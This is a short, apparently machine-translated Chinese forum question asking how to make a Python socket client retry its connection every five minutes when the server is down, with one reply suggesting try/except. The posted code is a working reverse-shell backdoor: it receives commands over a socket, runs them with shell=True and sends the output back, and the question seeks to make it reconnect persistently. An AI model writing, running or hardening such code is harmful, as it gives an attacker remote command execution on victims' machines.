我想連接到服務器,但如果服務器是斷開我的代碼有錯誤並退出,我想我的代碼嘗試在服務器斷開每5分鐘 我的代碼連接:怎麼可以嘗試連接時,我的服務器是diconnect在python
import socket
import subprocess
HOST = '127.0.0.1'
PORT = 534
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
while 1:
data = s.recv(1024)
proc = subprocess.Popen(data, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
stdout_value = proc.stdout.read() + proc.stderr.read()
s.send(stdout_value)
s.close()
使用try /除? – anon